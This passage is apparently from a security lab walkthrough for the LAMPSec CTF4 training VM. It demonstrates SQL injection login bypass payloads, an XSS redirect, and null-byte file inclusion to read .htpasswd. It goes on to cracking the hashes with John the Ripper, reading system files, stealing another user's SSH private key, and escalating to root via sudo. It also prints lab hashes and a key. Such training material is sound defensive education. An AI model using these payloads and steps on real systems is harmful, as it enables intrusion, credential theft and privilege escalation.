Accept-Language	en-us,en;q=0.5			
Accept-Encoding	gzip,deflate			
Accept-Charset	ISO-8859-1,utf-			
Keep-Alive	300			
Proxy-Connection	keep-alive			
Referer	http://192.168.0			
			Xca	ancel 🖉 🖓 OK

You'll notice this request fails as well. Looks like we'll have to try another tack. It could be that our SQL injection is failing because the query isn't written the way we expect. If we could get the web server to tell us what the query is we'd be in much better shape. Often times developers will leave error messages in applications and report when things go wrong. By examining error messages we

may be able to glean more information about the database back end and queries being used.

Coaxing Out Error Messages

One common technique used for attacking dynamic websites is deliberately inducing errors to view error statements. Error statements often contain a wealth of information that is helpful to developers, and malicious attackers, but usually is meaningless to ordinary users. Let's try resubmitting the form using:

' test

as the username and no password. You'll need Tamper Data to do this as the JavaScript will replace the single quote value otherwise. Passing this value in we get a handy error message:



Problem with query:

```
select user_id from user where user_name="test' AND user_pass = md5(")
```

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test' AND user_pass = md5(")' at line 2

This error message enumerates the SQL statement being used, including the table and columns we're dealing with. Now we can see why our previous requests were failing. Given the values we were passing in, the resulting SQL statement must have been:

```
select user_id from user where user_name = '' or 1='1'
AND user_pass = md5('' or 1='1')
```

The error message also shows that passwords seem to be stored in an md5 format. In order to bypass the SQL check we need to mangle the query so it looks like:

```
select user_id from user where user_name = '' or 1='1'
AND user_pass = md5('') or 1=1 #')
```

The '#" symbol indicate a comment in MySQL and that part of the statement will

be ignored. In order to accomplish this we need to use the username:

' or 1='1

and the password:

') or 1=1 #

Go ahead and user Tamper Data to submit these values and you'll see that you've bypassed the authentication!



Post blog

webmaster

You can go ahead and post a fake blog post using the 'Post blog' link just to verify! Another interesting thing to note is how the authentication is accomplished. If you look at the cookies that are set in your browser after a successful login using the Web Developer plugin you'll notice something interesting. If you select the 'Cookies' menu bar then 'View Cookie Information' you'll see that the authentication set two cookie values. One is the 'logged_in' cookie, which seems to be set to some sort of timestamp. The other is the 'user_id' cookie. We can manipulate this cookie value by clicking the 'Edit Cookie' link.

NAME	user_id
VALUE	6
ноѕт	192.168.0.6
PATH	/admin/
SECURE	No
EXPIRES	At End Of Session
 Edit Cookie Delete Cookie 	

Try posting a blog, then setting the cookie to another value and posting another blog. Notice how your user_id changes the value of the poster's name on the blog page at <u>http://192.168.229.134/index.html?page=blog&title=Blog</u>.

Step 7 - Find XSS

Find any one of the number of Cross Site Scripting (XSS) vulnerabilities in the site.

Cross site scripting vulnerabilities are unfortunately fairly ubiquitous across the internet. These vulnerabilities allow attackers to manipulate page displays. By themselves they're fairly harmless, but if an attacker can trick a victim into visiting a page with crafted output they can redirect the user or expose them to other attack vectors. If an attacker can find a URL that can be used to display malicious content then they can send that URL to site users, who will trust it, and attack them. Looking at the URL's for the target site we see a common theme which may indicate XSS vulnerabilities:

http://192.168.229.134/index.html?title=Home Page http://192.168.229.134 /index.html?page=blog&title=Blog http://192.168.229.134 /index.html?page=research&title=Research http://192.168.229.134 /index.html?page=contact&title=Contact

Let's try changing the "title" variable in the URL. Notice what happens when you browse to the website:

http://192.168.229.134 /index.html?title=Hello World!!!

You'll notice a subtle change in the display, the title of the page actually contains your text. If you view the page source you'll see that your title has been injected into the display.



While this seems innocuous, try entering the URL:

http://192.168.229.134 /? title=</title><script>location.href='http://www.google.com';</script>

You'll see that the user is redirected! This could be used to set up a phishing scam site. Especially if the attacker URL encodes the "title" so that it's more difficult to pick out the actual value. Since the attacker can use JavaScript they could even use any number of JavaScript encoding functions.

Step 8 - File include vulnerability

Find the file include vulnerability in the site.

File inclusion vulnerabilities are problems in web applications where attackers can cause unintended pages to be displayed through a web application. File inclusion is a time saving method whereby developers can reuse content. For instance, developers often write a "header" snippit and include it on every single page. This cuts down on retyping and allows changes to be made in one place and affect the site universally. Spotting file inclusion is difficult from the outside, but attackers can look for some common clues. Reviewing the web application at http://192.168.229.134 you'll notice some common conventions in the URL's presented in the top navigation bar, which are:

http://192.168.229.134 /index.html?title=Home Page http://192.168.229.134 /index.html?page=blog&title=Blog http://192.168.229.134 /index.html?page=research&title=Research http://192.168.229.134 /index.html?page=contact&title=Contact

it looks as though pages might be included based on the "page" directive. Let's poke around and see if we can figure out where they might be included.

One good tool for enumerating remote web application is OWASP's DirBuster, which brute forces URL's. Go ahead and start DirBuster from Applications \rightarrow Attack \rightarrow DirBuster. Type in the URL <u>http://192.168.229.134</u> and click the 'Browse' button and select /home/lampsec/bin/DirBuster-0.12/directory-list-2.3-medium.txt.

0	OWASP DirBuster 0.12 - Web Application Brute Forcing				
File Options About	Help				
Target URL (eg http://ex	ample.com:80/)				
http://192.168.0.6/					
Work Method O	Use GET requests only ③ Auto Switch (HEAD and GET)				
Number Of Threads 🛛 🗖	10 Threads 🗌 Go Faster				
Select scanning type: File with list of dirs/files	● List based brute force ○ Pure Brute Force				
/home/sasattack/bin/Di	irBuster-0.12/directory-list-2.3-medium.txt				
Char set a-zA-ZO-9%2	Min length 1 Max Length 8				
Select starting options:	Standard start point O URL Fuzz				
🗹 Brute Force Dirs	Be Recursive Dir to start with /				
Brute Force Files	Use Blank Extention File extention php				
URL to fuzz - /test.html?url={dir}.asp					
Exit D Start					
Please complete the test details					

Once DirBuster is set up click the 'Start' button and let it run. You'll notice DirBuster finds quite a few interesting hits. DirBuster will also list response codes for pages it finds. Note that 302 are redirects and 500 are generally server errors or access denied messages. Scrolling through the list you'll see that DirBuster identifies '/inc/header.php' as a valid file. Let's go ahead and browse to the following URL:

http://192.168.229.134 /inc

You'll notice that directory listing is turned on! You'll also notice that once DirBuster finishes running it finds the directory 'pages'. Browsing to this directory:

http://192.168.229.134 /pages/

reveals a directory listing that seems to correspond to the URL's we first discovered:

Index of /pages

<u>Name</u>	<u>Last modified</u>	<u>Size</u> <u>Description</u>
Parent Directory	L	-
🔁 <u>blog.php</u>	09-Mar-2009 10:03	886
🕐 <u>research.php</u>	09-Mar-2009 10:12	7.4K
🕈 <u>search.php</u>	09-Mar-2009 10:10	602

Apache/2.2.0 (Fedora) Server at 192.168.0.6 Port 80

Let's put these two pieces of information together and see if we can arbitrarily include the header twice. Let's assume that the PHP is looking in the /pages directory for a certain page, but we want to include the header file in the /inc directory. Try the following URL:

http://192.168.229.134 /?page=../inc/header



You'll notice the header gets included twice! It looks like there is a file include vulnerability in the site. We'll use this vulnerability to expose sensitive data in the next step.

Step 9 - Crack account passwords

Find the .htpasswd file in the /restricted directory and crack the passwords. Use one of the cracked passwords to log into the target machine.

Exposing and Cracking Apache Passwords

Apache has a nice way to protect directories by requiring a username and a password to be used to access them. Unfortunately, the password hashing Apache uses isn't very strong and if we can get a hold of the .htpasswd file we might be able to crack one of the passwords. Guessing passwords, or brute forcing, usually takes one of two forms. We can try a password guessing attack against an authentication service on the remote machine (like SSH) or, if we can grab password hashes, we can try to crack them on our local machine. The second method is preferable because it is faster and stealthier. In order to gain an Apache password hash out of the .htpasswd file we can't download it directly. If you try to access the file at:

http://192.168.229.134 /restricted/.htpasswd

You'll get an access denied (forbidden) error. However, if we use the file include vulnerability we discovered before we can insert this file into the page output and view it. Let's first try:

http://192.168.229.134 /?page=../restricted/.htpasswd

You'll notice nothing seems to happen. The reason for this is that PHP developers will commonly try to defeat this attack by forcing only PHP pages to be included. They do this using code of the form:

```
<?php
$page = $_GET['page'];
include($page . ".php");
?>
```

So when we request the .htpasswd, what PHP is actually trying to include is .htpasswd.php, which doesn't exist.

Fortunately for us, PHP is written in C, and C demarcates strings using the null byte. This means that if we append a null byte to the end of our URL request (%00 in ASCII URL encoding) the include statement will terminate the filename at our null byte, failing to append the ".php" file extension. Try the following URL:

http://192.168.229.134 /?page=../restricted/.htpasswd%00

which reveals the contents of the .htpasswd:



sorzek:N7wz0JCuLtuuA ghighland:8RkVRDjjkJhq6 pmoore:xHaymgB2KxbJU jdurbin:DPdoXSwmSWpYo

webmaster

If you view the source of this page the contents will be more nicely formatted.

Now that we have the contents of the .htpasswd file it's time to crack them. Copy the usernames and passwords into a text file using the notepad icon in the application bar at the top of the LAMPSec image. Copy the included .htpasswd accounts and passwords into gedit and save the file as htpasswd (no preceding period) in /home/lampsec/bin/john-1.7.0.2/run.

htpasswd (~/bin/john-1.7.0.2/run) - gedit	
<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>S</u> earch <u>T</u> ools <u>D</u> ocuments <u>H</u> elp	
Image: New Open Image: Save Image: Save	B lace
D htpasswd ×	
sorzek:N7wz0JCuLtuuA ghighland:8RkVRDjjkJhq6 pmoore:xHaymgB2KxbJU jdurbin:DPdoXSwmSWpYo	
Ln 5, Col 1	INS

Now that we have the hashes locally, let's run John the Ripper, a password cracking program on them. John the Ripper is extremely fast, but it's power is largely limited by the word list you provide it. You could download a much better wordlist than the one provided on the LAMPSec image, but the DirBuster wordlists will work fine for our purposes. To run John the Ripper first change into the correct directory then fire it up like so:

\$ cd ~/bin/john-1.7.0.1/run

\$./john -wordlist=../../DirBuster-0.12/directory-list-2.3-small.txt
htpasswd

John should run through this list extremely fast and guess at least one password:

[sasattack@localhost run]\$ cd /home/sasattack/bin/john-1.7.0.2/run [sasattack@localhost run]\$./john --wordlist=../../DirBuster-0.12/directory-list -2.3-small.txt htpasswd Loaded 4 password hashes with 4 different salts (Traditional DES [24/32 4K]) pacman (sorzek) guesses: 1 time: 0:00:00:01 100% c/s: 209362 trying: ukfs - makehome [sasattack@localhost run]\$

Now that we've got a password let's try and log in to see if the password actually works. Let's try and log into the target using:

\$ ssh sorzek@192.168.229.134

When prompted for a password enter our cracked password 'pacman' and you should get a command prompt that looks like:

[sorzek@ctf4 ~]\$

Indicating that you've successfully logged into the remote host! It seems that Sally Orzek is using the same password for her .htaccess account and her actual machine account. Go ahead and confirm your new identity using the 'whoami' command:

[sorzek@ctf4 ~]\$ whoami

You may also want to see where you are on the target by printing the current working direcotry:

[sorzek@ctf4 ~]\$ pwd

Step 10 - Steal the SSH private key

Log into and explore the system. Steal an SSH private key and log in as another user with higher privileges (like an admin).

Now that you've got a local system account there are quite a few more avenues to exploit the system. It is possible that there are programs or systems installed on the machine that are vulnerable to local compromises that haven't been patched. Many systems consider local vulnerabilities to be less of a threat since attackers must first have a local account to exploit them. However, as we're beginning to see, any one weakness might be used to exploit another weakness and so on. Let's begin poking around the target system to see what we can find. We might fist want to look through the command history for this account. BASH, the command line we're using, saves a history so you can use the up arrow to repeat previously issued commands. These commands are saved in .bash_history. We can view this file using:

\$ cat ~/.bash_history

We might also want to see if anyone else is logged into the machine. Attackers will commonly do this to see if an administrator is logged in who might notice unusual activity. You can check who all is logged in using the 'w' command like so:

\$ W

Assuming the coast is clear let's see what other users are on the system. There are two quick ways we might do this, one is to list the /home directory, the other is to view the password file. You can do either one using:

\$ ls /home

or

\$ cat /etc/passwd

We may want to read any mail for the sorzek account. We could do this logging into the webmail interface at <u>http://192.168.0.6/mail</u>, or by perusing her mail spool using:

\$ less /var/spool/mail/sorzek

You can quit less by pressing 'Esc' then ':q', that is the colon character, then q, and pressing enter.

Let's poke around the /home directory for a moment. First list the contents of the directory:

\$ ls /home

Now let's see if we can poke into any of the other users' home directories. Looking at the /etc/group file, which lists all the groups on the system, with:

\$ cat /etc/group

You'll see there's an admins group, with dstevens and achen as members. These two accounts likely have more privileges on the machine than the account we've already compromised. Let's look into the achen home directory with:

\$ls -lah /home/achen

You should be able to view the entire contents of the home directory. Ideally machines should not be configured to allow one user to browse another user's home directory. By leaving the machine in this configuration attackers that compromise one account can browse around other accounts, looking for material like emails, private documents, or other data that could be sensitive or provide clues about the passwords to other accounts.

Of particular note in the /home/achen directory is the .ssh directory. This directory is used to hold keys that might be useful for logging into other machines, or even into this one! SSH can be configured to use 'public key authentication' which allows users to log into machines using keys rather than passwords. Often, SSH keys are built with no password for convenience, but this provides an excellent route to log into a machine if you can steal the 'private key' portion of the SSH keypair. Let's see if we can find any private keys in achen's home directory. Check the directory contents with:

\$ ls -lah /home/achen/.ssh

It looks like we can peek into this folder, and what's worse, there appears to be a private key listed here! Let's view the private key using:

\$ cat /home/achen/.ssh/achen_priv.ppk

Because we can view the private key we can steal it. Private keys are nothing more than text files.

Copy and paste that data out of your command window and into a gedit text file like we did before with the .htpasswd contents. The file should look something like:

PuTTY-User-Key-File-2: ssh-rsa Encryption: none Comment: rsa-key-20090309 Public-Lines: 4 AAAAB3NzaC1yc2EAAAABJQAAAIB9HrXHbV0tQkPRiM2zG8/1tIgCD2gA3GwsjopS N+k90VHLe70W6+ZRLXNHVP1FJ6BBVcZDV+CxpqAQj8lsIhiyskjbNzs85k7+8aVb /JTq8KBnikbXLY2YqPVkkqZ1U9zPKzabSCjARrAxD0x1XEFfZ69T2ZyHP1MwfXGi MTJqxQ== Private-Lines: 8 AAAAgDzegfJQ4Ticxwv9XSazlZogeYR2MpiilX11xsA24CufWDl6cwsmp2XDFXyl 4v8MW8zB8b/lj+e4imjsAR/ZPHHlGRyGDyUSrJTusp1arl9UNzZgWnOz2kzvyTMP R5DazAply2MYcvccGrhx7AXbj0sJZRcyh3gDnF0fu718jdTlAAAAQQD1JRPJe/MR xOSX3D1ZdMUaSwsIopexRcG5GGZX9LNPMs1eyrEigmIkNQ6viwBI766ase/+79Xw 8seUasmkEkCDAAAAQQCCqQzL9X2f7nZvIRQTZGHiHMIQ61GnBxwwTaN+N4oKBpcX nyysSEW+C1Hk/EyXIc2rdLQrsgxjZhtEPdMNGQcXAAAAQQD0btOMDZFaO3DyWzIX e7KATkMX3ISCajhE+kypXijoFmNOmJqLd956co6kDjFchCnUpMfWqWXP/pcj0/A5 v8vH

```
Private-MAC: 0b95165eb462c2f0857f1defa082eb5979d9ea69
```

Unfortunately this key is in the format of a PuTTY private key. PuTTY is a Windows based GUI used for SSH and SFTP. Because this private key is designed for PuTTY we can't use it natively on our Linux LAMPSec machine. We'll have to convert the key to the Linux format before we can try using it. In order to format this key we need to use the Windows based PuTTY Key Generation tool.

Fortunately the LAMPSec image has WINE, a Windows emulator installed on it. We can use WINE to install and run Windows programs on our Linux based LAMPSec machine. This is especially handy if we want to run security programs that are only available on Windows.

We'll need to install PuTTY in order to convert the key to a Linux format so we can use it. In order to install the program, we'll first need to download it using the wget command like so:

\$ wget http://the.earth.li/~sgtatham/putty/latest/x86/putty-0.60installer.exe

Once the program downloads run the installer using:

\$ wine putty-0.60-installer.exe

Once installed you can use PuTTY. Let's use the PuTTY Key Generator to get the Linux format for Andrew Chen's private key. Open up PuTTY from the Applications menu \rightarrow Wine \rightarrow Programs \rightarrow PuTTY \rightarrow PuTTYgen. Once the program is open click the 'Load' button and load up Andrew Chen's private key from the filesystem:

2		PuTTY Key Generator	×	
Ēi	le <u>K</u> ey Con <u>v</u> ersions	Help		
	Key Public key for pasting i	nto OpenSSH authorized_keys file:		
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIB9HrXHbV0tQkPRiM2zG8/1tIgCD2gA3GwsjopSN+k 90VHLe7OW6+ZRLXNHVP1FJ6BBVcZDV+CxpgAQj8lsIhiyskjbNzs85k7+8aVb/JTq8KBn ikbXLY2YgPVkkgZ1U9zPKzabSCjARrAxDOx1XEFfZ69T2ZyHP1MwfXGiMTJgxQ== rsa-key-20090309				
	Key fingerprint:	ssh-rsa 1023 bd:97:33:21:b8:45:68:9c:05:fb:85:2a:15:f6:7d:bb		
	Key comment:	rsa-key-20090309		
	Key p <u>a</u> ssphrase:			
	Confirm passphrase:			
	Actions			
	Generate a public/priva	ate key pair Generate		
	Load an existing privat	e key file Load		
	Save the generated ke	Save public key Save private key		
Γ	Parameters			
	Type of key to general C SSH- <u>1</u> (RSA)	te: SSH-2 <u>R</u> SA		
	Number of <u>b</u> its in a ger	herated key: 1024		

Next, click the 'Conversions' menu \rightarrow Export OpenSSH key. Save the exported key as achen_priv.key in /home/lampsec . Next we have to change the permissions on the key:

\$ chmod 0700 /home/lampsec/achen_priv.key

And finally we can try to log into the target site as achen:

\$ ssh -i /home/lampsec/achen_priv.key achen@192.168.229.134

You'll notice that no password is required! This key pair was generated with a blank passphrase, and especially dangerous configuration from a security perspective. Now you're logged in as Andrew Chen, one of the machine administrators!

achen@c	tf4:~ _ 🗆 🗙
<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>T</u> erminal Ta <u>b</u> s <u>H</u> elp	
sasattack@localhost:/home/sasattack ×	achen@ctf4:~ ×
[sasattack@localhost ~]\$ chmod 0700 ache [sasattack@localhost ~]\$ ssh -i achen_pr BSD SSH 4.1 Last login: Mon Mar 9 16:07:17 2009 fro [achen@ctf4 ~]\$ ■	n_priv.key iv.key achen@192.168.0.6 m 192.168.0.51

Let's see if Andrew Chen has any greater privileges than the last account we compromised. Try the following command, which uses the sudo command to carry out a command as root with the 'su', or switch user command, which when issued without a username argument means "switch to the root account":

\$ sudo su

Notice your command prompt changed to a pound symbol, that indicates that you're root! This is a result of a listing in the sudoers file that indicates that the achen account doesn't need to enter a password to issue commands as root. This is often utilized as a convenience, but obviously is a fairly big security risk. You can verify that you're actually the root user with the 'whoami' command:

whoami

You could also grab the root password by viewing Andrew Chen's .bash history file using:

\$ cat /home/achen/.bash_history

You'll see the root password listed in amongst the other commands. This sort of thing is sadly fairly common when admins type fast and don't verify commands they're issuing.

Other Unscripted Attack Vectors:

- 1. Enumerate the users on the system using the EXPN and VRFY commands via telnetting to port 25
- 2. Get the MySQL root password from the file in the /conf directory
- 3. Log into MySQL from a local user account, view the users table, dump it and try cracking the passwords using MD5 rainbow tables (<u>http://lampsecurity.org/node/17</u>).
- 4. Uncover the user passwords via SQL injection using SQLmap (installed in /usr/bin/sqlmap)
- 5. Upload the c99 shell to the target website
- 6. The older 2.6.15 Linux kernel may be vulnerable to any number or local root exploits.